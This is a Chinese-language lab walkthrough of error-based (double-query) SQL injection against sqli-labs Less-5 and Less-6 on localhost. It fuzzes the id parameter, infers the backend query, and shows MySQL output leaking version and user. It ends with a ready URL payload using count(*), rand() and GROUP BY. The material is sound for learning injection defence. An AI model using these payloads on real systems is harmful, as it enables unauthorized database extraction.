[推荐] http://stackoverflow.com/questions/11787558/sql-injection-attack-what-does-this-do
除了id为13例外,其他从1到14返回同样的页面,其余id返回无效内容。
id=1 | You are in........... |
id=2 | You are in........... |
id=3 | You are in........... |
id=4 | You are in........... |
id=5 | You are in........... |
id=6 | You are in........... |
id=7 | You are in........... |
id=8 | You are in........... |
id=9 | You are in........... |
id=10 | You are in........... |
id=11 | You are in........... |
id=12 | You are in........... |
id=13 | no output |
id=14 | You are in........... |
id=15 | no output |
id=0 | no output |
id=100 | no output |
id=hello | no output |
请求有效时,返回“Youare in...........”,无效时,无对应字符返回。
像前面介绍的那样,我们对应用程序进行模糊测试,并跟踪可能的注入情况,以便理解应用程序是如何处理恶意输入的。
输入参数看起来是个整数类型,我们可以确认一下,或者看看它是否同样接受字符串。输入字符串得到的结果,与无效输入类似。其他的一些测试如下:
' | You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '''' LIMIT 0,1' at line 1 |
“ | no output |
; | no output |
%00 | no output |
) | no output |
( | no output |
aaa | no output |
Less-5 与 Less-6 针对单引号与双引号,结果如下:
http://127.0.0.1/sqli-labs/Less-5/?id=1' | 异常 |
http://127.0.0.1/sqli-labs/Less-6/?id=1' | no output |
http://127.0.0.1/sqli-labs/Less-5/?id=1” | no output |
http://127.0.0.1/sqli-labs/Less-6/?id=1” | 异常 |
从上面的模糊测试,我们知道数据库没有返回任何输出,因此我们不能使用 UNION SELECT 获取数据库信息。
数据库返回到页面上的唯一信息就是,Mysql错误。因此,我们需要以一种方式处理我们的查询,以便通过错误获取数据库信息。查询条件必须是正确的,能被后端数据库解释执行,且需产生一个逻辑错误,让数据库信息伴随错误字符串返回。
通过上面的模糊测试,我们可以了解一些关于应用程序的信息。接下来,我们猜解一下后端的查询情况。单引号致使 Less-5 异常,双引号致使 Less-6 异常。为了确认原始查询变量只被单引号或者双引号引用,我们尝试使用转义字符。
http://127.0.0.1/sqli-labs/Less-5/?id=1\ | You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near ''1\' LIMIT 0,1' at line 1 |
http://127.0.0.1/sqli-labs/Less-6/?id=1\ | You have an error in your SQL syntax; check the manual thatcorresponds to your MySQL server version for the right syntax touse near '"1\" LIMIT 0,1' at line |
http://127.0.0.1/sqli-labs/Less-5/?id=1‘--+ | You are in........... |
http://127.0.0.1/sqli-labs/Less-6/?id=1“--+ | You are in........... |
因此,我们猜测查询语句格式如下:
Less-5 | SELECT * FROM table_name WHERE ID=’Value we inject’ LIMIT0,1 |
Less-6 | SELECT * FROM table_name WHEREID= “Value we inject” LIMIT 0,1 |
在我们进一步SQL注入之前,我们需要理解子查询的基本知识。子查询可以理解为,将一个查询置于一个已存在的查询中,或将查询作为另一个查询的一部分。动态处理内部查询,并生成最终结果,例如:
Select concat((select database()));注意不要写错。上述查询中,蓝色部分就是子查询,它会首先被评估。
然后结果被传递给concat函数。
这种类型的注入,我们需要使用特殊的函数,如果你不熟悉,请在操作前,先学习一下.
Rand() |
Floor() |
Count() |
Group by clause |
有些厉害的测试工程师发现,将Groupby clause与一个聚合函数一起使用,例如count(*),可以将查询的部分内容作为错误信息返回。也就发展为今天的二次注入查询。
在开始完整的操作前,我们先来打个基础。
mysql -uroot -p | backtrack r3 默认数据库口令为root/toor |
use security | 选择数据库security |
select concat((select database())); | |
select concat(“string1”, “string2”); | |
select rand(); | |
select floor(1.1234567); | |
select floor(rand()*2) | |
select concat((select database()), floor(rand()*2)); |
接下来我们使用GROUP BY函数完成查询,我们可以使用information_schema.tables或information_schema.columns获取结果,columns表会返回100多条数据,可以用来分析随机数。group by可以用来去重。
mysql>select concat((select database()), floor(rand()*2)) as a from information_schema.columns group by a;
+-----------+
|a |
+-----------+
|security0 |
|security1 |
+-----------+
2rows in set (0.11 sec)
注意:
内嵌查询SELECT database()可以被其他查询代替,这个查询将会伴随MYSQL错误输出。例如:
SELECT version(), user() 或获取完整的表,栏目等,就像第一部分讨论的那样。
接着上面的实例继续。
mysql>select datadir();
ERROR1305 (42000): FUNCTION security.datadir does not exist
mysql>select count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a;
ERROR1062 (23000): Duplicate entry 'security1' for key 'group_key'
荣誉属于那些聪明的人,他们发现了聚合函数和GROUP BY的致命组合。重复的值,导致执行查询时,产生错误。
mysql>select count(*), concat((select version()), floor(rand()*2))as a from information_schema.columns group by a;
ERROR1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key'group_key'
mysql>select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.columns group by a;
+----------+--------------------------+
|count(*) | a |
+----------+--------------------------+
| 340 | 5.1.63-0ubuntu0.10.04.10 |
| 347 | 5.1.63-0ubuntu0.10.04.11 |
+----------+--------------------------+
2rows in set (0.02 sec)
注意此处as与前面内容之前无空格。
接下来让我们使用web前端来完成这个逻辑,不过在这之前,我们需要注意另一个被称为衍生表的东东。
select 1 from (table name);
详细内容,请查阅:
http://www.youtube.com/watch?feature=player_embedded&v=zaRlcPbfX4M
http://www.youtube.com/watch?feature=player_embedded&v=9utdAPxmvaI
mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a);
ERROR1248 (42000): Every derived table must have its own alias
mysql>select 1 from (select count(*), concat('~', (select user()), '~', floor(rand()*2))as a from information_schema.columns group by a)x;
ERROR1062 (23000): Duplicate entry '~root@localhost~0' for key 'group_key'
书写时,concat函数中间的空格可能导致无内容返回。
http://localhost/sqli-labs/Less-5/?id=1'+AND+(select+1+from+(select+count(*),+concat('~',(select+user()),'~',+floor(rand()*2))as+a+from+information_schema.tables+group+by+a limit 0,1)x)--+